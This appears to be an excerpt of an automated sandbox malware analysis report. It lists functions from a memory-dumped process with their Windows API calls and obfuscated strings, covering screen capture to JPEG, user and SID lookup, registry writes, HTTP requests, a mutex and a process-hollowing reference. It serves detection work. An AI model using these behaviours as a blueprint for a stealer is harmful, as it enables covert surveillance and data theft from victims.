GdipCreateBitmapFromHBITMAP.GDIPLUS(00000000,00000000,?), ref: 0076733E
GdipGetImageEncodersSize.GDIPLUS(00000000,?), ref: 0076735A
GdipGetImageEncoders.GDIPLUS(00000000,00000000,00000000), ref: 00767387
GdipSaveImageToFile.GDIPLUS(00000000,00000000,?,00000000), ref: 0076740E
SelectObject.GDI32(00000000,?), ref: 0076741B
DeleteObject.GDI32(00000000), ref: 00767428
DeleteObject.GDI32(?), ref: 00767430
ReleaseDC.USER32(00000000,?), ref: 0076743A
GdipDisposeImage.GDIPLUS(00000000), ref: 00767441
GdiplusShutdown.GDIPLUS(?), ref: 007674E3
GetUserNameA.ADVAPI32(?,?), ref: 007675BA
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00767600
GetSidIdentifierAuthority.ADVAPI32(?), ref: 0076760D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00767721
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 00767748

Strings

image/jpeg, xrefs: 007673A2
invalid stoi argument, xrefs: 00768057
NBqAOvw1CRb=, xrefs: 0076698C
NBqAOvw1ChD=, xrefs: 00766A53
stoi argument out of range, xrefs: 00768048
(, xrefs: 00768206
NtUnmapViewOfSection, xrefs: 00768158
NBqAOvw1C0P=, xrefs: 00766AB4
NBqAOvw1Chz=, xrefs: 007669EE
Wkbo1O5KHy==, xrefs: 00766FA9
, xrefs: 00768140
MQLwfI==, xrefs: 00767751
YBqAOvw=, xrefs: 00766F81
KQRwfI==, xrefs: 007676A8
ntdll.dll, xrefs: 0076815D
VwQpdzQu, xrefs: 0076761C

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Value$Gdip$CloseImageMetricsObjectOpenSystem$AuthorityCreate$BitmapCompatibleDeleteEncodersGdiplusNameQuerySelect$AccountCountDisposeEnumFileFromIdentifierInfoLookupReleaseSaveShutdownSizeStartupUser
String ID: $($KQRwfI==$MQLwfI==$NBqAOvw1C0P=$NBqAOvw1CRb=$NBqAOvw1ChD=$NBqAOvw1Chz=$NtUnmapViewOfSection$VwQpdzQu$Wkbo1O5KHy==$YBqAOvw=$image/jpeg$invalid stoi argument$ntdll.dll$stoi argument out of range
API String ID: 1729688432-2321920341
Opcode ID: dd8189179259eb1aad4fea967f964824a1669f2b4c3e3f7b43592c97a120dbfd
Instruction ID: 6caffc2fbd9c0ae271e5973c471ae4f11c218289b80c79f67c060eda60e8ed79
Opcode Fuzzy Hash: dd8189179259eb1aad4fea967f964824a1669f2b4c3e3f7b43592c97a120dbfd
Instruction Fuzzy Hash: 70D2F771A00118DBDF18DF64CC89BEDBB75EF45304F508298F806A7292EB399A94CF95

Function 0077F060 Relevance: 40.1, APIs: 4, Strings: 18, Instructions: 1574registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007661F0: GetUserNameA.ADVAPI32(?,?), ref: 007675BA
Part of subcall function 007661F0: LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00767600
Part of subcall function 007661F0: GetSidIdentifierAuthority.ADVAPI32(?), ref: 0076760D

RegOpenKeyExA.KERNELBASE(80000002,System,00000000,000F003F,?,00000000), ref: 0077F142
RegCloseKey.KERNELBASE(80000002), ref: 0077F158
GetUserNameA.ADVAPI32(?,80000002), ref: 0077F1E2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0077F26D

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
Part of subcall function 007661F0: RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
Part of subcall function 007661F0: RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6

Part of subcall function 007661F0: RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 007664E3
Part of subcall function 007661F0: RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00766511
Part of subcall function 007661F0: RegCloseKey.ADVAPI32(80000001), ref: 0076651A

Part of subcall function 007661F0: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0076663C
Part of subcall function 007661F0: RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0076665F
Part of subcall function 007661F0: RegCloseKey.ADVAPI32(80000002), ref: 00766668

Strings

c1C , xrefs: 0077F457
V, xrefs: 007804C7
dEC , xrefs: 0077F3CD
c03 , xrefs: 0077F2DD
Zka , xrefs: 0077F429
dhQ=, xrefs: 0078038F, 007804AD
OQUAOo==, xrefs: 0077F4A0
776334, xrefs: 0077F475
d0G , xrefs: 0077F483
bUG , xrefs: 0077F4E5
ZVO , xrefs: 0077F343
elC , xrefs: 0077F4BD
ZVy , xrefs: 0077F3FB
0EQ , xrefs: 0077F371
System, xrefs: 0077F138
eUU , xrefs: 0077F39F
cFO , xrefs: 0077F315
246122658369, xrefs: 0077F0AB, 0077F4D7

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CloseNameOpen$Value$User$AccountAuthorityFileIdentifierLookupModuleQuery
String ID: 0EQ $246122658369$776334$OQUAOo==$System$V$ZVO $ZVy $Zka $bUG $c03 $c1C $cFO $d0G $dEC $dhQ=$eUU $elC
API String ID: 4106312383-465785502
Opcode ID: 03a8f0ac7ba156151931463cc7460eaed65dd642a2286fa40da9b28e05629296
Instruction ID: bf0ca363297cf504b46aef802c6d206643797790b277695301e0243bb95c35b9
Opcode Fuzzy Hash: 03a8f0ac7ba156151931463cc7460eaed65dd642a2286fa40da9b28e05629296
Instruction Fuzzy Hash: 87D2E471A001589BEB29E728CD897DDBB769B82304F5481D8E00DA72D7EB395FC48F91

Function 0076B700 Relevance: 32.7, APIs: 12, Strings: 6, Instructions: 1232COMMON

Download Yara Rule

APIs

Part of subcall function 0076A270: GetTempPathA.KERNEL32(00000104,?,3F07E9DB,?,00000000), ref: 0076A2B7

GetFileAttributesA.KERNELBASE(?,?,00000000,00000000), ref: 0076B77B

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
Part of subcall function 007661F0: RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
Part of subcall function 007661F0: RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076B8B5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076B9EF

Part of subcall function 007661F0: RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 007664E3
Part of subcall function 007661F0: RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00766511
Part of subcall function 007661F0: RegCloseKey.ADVAPI32(80000001), ref: 0076651A

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076BB29
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076BC63

Part of subcall function 007661F0: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0076663C
Part of subcall function 007661F0: RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0076665F
Part of subcall function 007661F0: RegCloseKey.ADVAPI32(80000002), ref: 00766668

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076BD9D
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076BED7

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 007667BD

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076C011

Part of subcall function 007661F0: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00766894
Part of subcall function 007661F0: RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 007668E0

GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076C14B
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076C285
GetFileAttributesA.KERNELBASE(00000000,?,00000000,00000000), ref: 0076C3BF

Part of subcall function 007661F0: RegCloseKey.ADVAPI32(?), ref: 00766D5E

GetFileAttributesA.KERNELBASE(?,?,00000000,00000000), ref: 0076C4FF

Part of subcall function 007693D0: GetVersionExW.KERNEL32(0000011C,3F07E9DB,74DF0F00), ref: 0076944A
Part of subcall function 007693D0: GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007694AB
Part of subcall function 007693D0: GetProcAddress.KERNEL32(00000000), ref: 007694B2

Part of subcall function 007693D0: GetNativeSystemInfo.KERNELBASE(?), ref: 00769573

Part of subcall function 007693D0: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00769577

Strings

R0ZxdUNw, xrefs: 0076C4B6
RTPL, xrefs: 0076BE94
STDJXs==, xrefs: 0076BAE6
V0ZAcy5A, xrefs: 0076C37C
RVPteeA=, xrefs: 0076B872
UkZCfy5v, xrefs: 0076C242

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AttributesFile$CloseOpenValue$Info$QuerySystem$AddressEnumHandleModuleNativePathProcTempVersion
String ID: R0ZxdUNw$RTPL$RVPteeA=$STDJXs==$UkZCfy5v$V0ZAcy5A
API String ID: 3951112935-690854277
Opcode ID: d57a20cc2001d6db0ab6966b4b0c037c3e1ed7d4a5b9f48589dd4ae0ae79c691
Instruction ID: 424fd20076c972596195b23cfda6694f937a2c0d10b38a125354d4603af154d7
Opcode Fuzzy Hash: d57a20cc2001d6db0ab6966b4b0c037c3e1ed7d4a5b9f48589dd4ae0ae79c691
Instruction Fuzzy Hash: B2923A71A00148DBDF09DBB8CD897EDBB71AF46310F648208E856A73D7E73D5A808B65

Function 0076E8D0 Relevance: 26.8, APIs: 8, Strings: 7, Instructions: 600
comtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0076E91D
CoInitialize.OLE32(00000000), ref: 0076EC52
CoCreateInstance.OLE32(007BD064,00000000,00000001,007BD0C4,?), ref: 0076EC71
CoUninitialize.OLE32 ref: 0076EC7F
CoUninitialize.OLE32 ref: 0076F053
CoUninitialize.OLE32 ref: 0076F06A
GetLocalTime.KERNEL32(?), ref: 0076F16C
CoUninitialize.OLE32 ref: 0076F240

Strings

bFH4evkwBu==, xrefs: 00770922, 00770B84
VCZXXs==, xrefs: 0076FDF6, 00770458
MQQRE9==, xrefs: 0076FB33
MQQxNKWu, xrefs: 0076F8BE
EOexNKWuBQR=, xrefs: 0076FB5D
bFH4ezI7BwZ=, xrefs: 007709C3
@3P, xrefs: 0076F1B7

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Uninitialize$CreateInitializeInstanceLocalNameTimeUser
String ID: @3P$EOexNKWuBQR=$MQQRE9==$MQQxNKWu$VCZXXs==$bFH4evkwBu==$bFH4ezI7BwZ=
API String ID: 1302556198-549416660
Opcode ID: 445cf8398b6c121c237e3e38e12cb97d7a6d6a34a42f4215d95067d5b924b263
Instruction ID: 4bedb090576b02b59671ed5baefb5cb6c1480f3a2a48c12702cf40c55e535eb9
Opcode Fuzzy Hash: 445cf8398b6c121c237e3e38e12cb97d7a6d6a34a42f4215d95067d5b924b263
Instruction Fuzzy Hash: EB425B71A00218DFDB24DF64CC98BDEBBB5AF59304F5041D8E809A7291DB79AAC4CF91

Function 00770370 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 312
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC,3F07E9DB,?,00000000), ref: 00770402
InternetOpenW.WININET(007BCC10,00000000,00000000,00000000,00000000), ref: 00770411
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00770435
HttpOpenRequestA.WININET(?,00000000), ref: 0077047F
HttpSendRequestA.WININET(?,00000000), ref: 0077053F
InternetReadFile.WININET(?,?,000003FF,?), ref: 007705F1
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 007706A0
InternetCloseHandle.WININET(?), ref: 007706C7
InternetCloseHandle.WININET(?), ref: 007706CF
InternetCloseHandle.WININET(?), ref: 007706D7

Strings

VkLx, xrefs: 00771B8B
bFH4evkwBu==, xrefs: 00770922, 00770B84
invalid stoi argument, xrefs: 007729D4
VCZXXs==, xrefs: 0076FDF6, 00770458
stoi argument out of range, xrefs: 007729CA
bFH4ezI7BwZ=, xrefs: 007709C3
f|, xrefs: 007728CF

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: VCZXXs==$VkLx$bFH4evkwBu==$bFH4ezI7BwZ=$invalid stoi argument$stoi argument out of range$f|
API String ID: 1439999335-1513691568
Opcode ID: 5d38d4754973b9baf195eed000472fdbba86969e64acdd3bdabcfa8a83b776b3
Instruction ID: 2646f6d7389a69f0ffba2330404639b7b3381f261ec6c0e4402c699548dab1ac
Opcode Fuzzy Hash: 5d38d4754973b9baf195eed000472fdbba86969e64acdd3bdabcfa8a83b776b3
Instruction Fuzzy Hash: 82B1B2B1600218DBDF28DF28CC88BAE7B65EF41344F5081A9F50997292D7799AC4CFD5

Function 007693D0 Relevance: 18.0, APIs: 6, Strings: 4, Instructions: 473
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,3F07E9DB,74DF0F00), ref: 0076944A
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007694AB
GetProcAddress.KERNEL32(00000000), ref: 007694B2
GetNativeSystemInfo.KERNELBASE(?), ref: 00769573
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00769577

Strings

NhqBP9==, xrefs: 0076992A
NhqBQI==, xrefs: 00769732
NhqCPI==, xrefs: 00769882
NhqCO9==, xrefs: 007697DA

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID: NhqBP9==$NhqBQI==$NhqCO9==$NhqCPI==
API String ID: 374719553-1220407608
Opcode ID: 7efc70eab84aeea91d1aa79bef8d16623a3394a4f3c02de50c63422b51e6bf8d
Instruction ID: 72c89766c7a057e10b8ee5fe3d3c3de79ac2fd5f539793942c5c3aa10b1d9300
Opcode Fuzzy Hash: 7efc70eab84aeea91d1aa79bef8d16623a3394a4f3c02de50c63422b51e6bf8d
Instruction Fuzzy Hash: A1022BB0E00244DBDB14BB68CD5A79D7B75AB45710F94429CED06673C2EB3D5E818BC2

Function 0079E430 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 330
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0079E4ED
_free.LIBCMT ref: 0079E6B9
_free.LIBCMT ref: 0079E731
GetTimeZoneInformation.KERNELBASE(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0079E8F2,?,?,00000000), ref: 0079E743

Strings

M{, xrefs: 0079E857
Eastern Summer Time, xrefs: 0079E7F0
Eastern Standard Time, xrefs: 0079E7DC

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID: M{$Eastern Standard Time$Eastern Summer Time
API String ID: 597776487-3830292399
Opcode ID: b60694f20f0542979673c31f022695b39bedff497ee48d15f6307fa36dc2862a
Instruction ID: ec99a5ef537975431c6bec686a8afb40f2e99964166aca27b76768534ec299ba
Opcode Fuzzy Hash: b60694f20f0542979673c31f022695b39bedff497ee48d15f6307fa36dc2862a
Instruction Fuzzy Hash: 41A11771900215EBDF20FFA8EC4AAAE7B79EF04710F14416AF501A7291EB399D40C795

Function 007691B0 Relevance: 6.3, APIs: 4, Instructions: 324
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,3F07E9DB,74DF0F00), ref: 0076944A
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007694AB
GetProcAddress.KERNEL32(00000000), ref: 007694B2
GetNativeSystemInfo.KERNELBASE(?), ref: 00769573

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: 05b56364b8fa6857bb8ccbd65c4a5580d87836f3f27be60b54f400e4a6cd0010
Instruction ID: 251fce4ade41c2fb6582ee10a30ec6c1a170015eeadfd805ee4b9891aa0b9f78
Opcode Fuzzy Hash: 05b56364b8fa6857bb8ccbd65c4a5580d87836f3f27be60b54f400e4a6cd0010
Instruction Fuzzy Hash: A1C1F871E00204DBDB14DF68CD89BADBB79EF45310F548258E9069B3C6EB39DA84CB91

Function 0077E420 Relevance: 51.4, APIs: 4, Strings: 24, Instructions: 2430registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00770370: Sleep.KERNELBASE(000005DC,3F07E9DB,?,00000000), ref: 00770402
Part of subcall function 00770370: InternetOpenW.WININET(007BCC10,00000000,00000000,00000000,00000000), ref: 00770411
Part of subcall function 00770370: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00770435
Part of subcall function 00770370: HttpOpenRequestA.WININET(?,00000000), ref: 0077047F

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
Part of subcall function 007661F0: RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
Part of subcall function 007661F0: RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6

Part of subcall function 007661F0: RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 007664E3
Part of subcall function 007661F0: RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00766511
Part of subcall function 007661F0: RegCloseKey.ADVAPI32(80000001), ref: 0076651A

RegOpenKeyExA.KERNELBASE(80000002,System,00000000,000F003F,?,00000000), ref: 0077F142
RegCloseKey.KERNELBASE(80000002), ref: 0077F158

Part of subcall function 007661F0: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0076663C
Part of subcall function 007661F0: RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0076665F
Part of subcall function 007661F0: RegCloseKey.ADVAPI32(80000002), ref: 00766668

GetUserNameA.ADVAPI32(?,80000002), ref: 0077F1E2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0077F26D

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 007667BD

Part of subcall function 007661F0: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00766894
Part of subcall function 007661F0: RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 007668E0

Part of subcall function 007661F0: RegCloseKey.ADVAPI32(?), ref: 00766D5E

Part of subcall function 007661F0: GdiplusStartup.GDIPLUS(?,?,00000000,3F07E9DB,00000000), ref: 00766DEA

Part of subcall function 007661F0: GetDC.USER32(00000000), ref: 00766F62

Strings

c1C , xrefs: 0077F457
QEC+, xrefs: 0077E907, 0077E97E, 0077EC21, 0077EC98
invalid stoi argument, xrefs: 0077F029
c03 , xrefs: 0077F2DD
dEC , xrefs: 0077F3CD
Zka , xrefs: 0077F429
stoi argument out of range, xrefs: 0077F038
Ju==, xrefs: 0077EEB4
dhQ=, xrefs: 0078038F
OQUAOo==, xrefs: 0077F4A0
776334, xrefs: 0077F475
bUG , xrefs: 0077F4E5
d0G , xrefs: 0077F483
ZVO , xrefs: 0077F343
d1Gceo==, xrefs: 0077E8A3
elC , xrefs: 0077F4BD
QEG+, xrefs: 0077E94E, 0077EA7B, 0077EC68, 0077ED95
R, xrefs: 007803A9
ZVy , xrefs: 0077F3FB
0EQ , xrefs: 0077F371
System, xrefs: 0077F138
eUU , xrefs: 0077F39F
cFO , xrefs: 0077F315
246122658369, xrefs: 0077F0AB, 0077F4D7

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Open$Close$Value$InternetNameQuery$ConnectEnumFileGdiplusHttpInfoModuleRequestSleepStartupUser
String ID: 0EQ $246122658369$776334$Ju==$OQUAOo==$QEC+$QEG+$R$System$ZVO $ZVy $Zka $bUG $c03 $c1C $cFO $d0G $d1Gceo==$dEC $dhQ=$eUU $elC $invalid stoi argument$stoi argument out of range
API String ID: 2912196086-2989987621
Opcode ID: 4d5bf5f9c9c6328549280ec56d6058cd51398fbfad78ddc0d2291731485686e3
Instruction ID: aef0be7f8ef54c64b1d53288e5d2c65774bd3b6c5aff60c254209d18be4ac916
Opcode Fuzzy Hash: 4d5bf5f9c9c6328549280ec56d6058cd51398fbfad78ddc0d2291731485686e3
Instruction Fuzzy Hash: 03131571A001489BEF19EB68CD897DDBB76AF42304F5481D8E009A72D7EB395FC48B91

Function 0076C6D0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 335
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0076C6D3
CreateMutexA.KERNELBASE(00000000,00000000,007C6494), ref: 0076C6F1
GetLastError.KERNEL32 ref: 0076C6F9
GetLastError.KERNEL32 ref: 0076C70A
SetCurrentDirectoryA.KERNEL32(00000000,3F07E9DB,00000000,00000000), ref: 0076C77D

Strings

KgOkTPdq4Az=, xrefs: 0076C7C2

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast$CreateCurrentDirectoryMutexSleep
String ID: KgOkTPdq4Az=
API String ID: 1684129806-3565932714
Opcode ID: 759002a8ce1d836d21a862c590ad94ed968463a2cf6630221a51ad1a3b0b816d
Instruction ID: 68c6ab485756ef628c11f21c600b38e260bd7583603cbb731ba48ecb4f5b627d
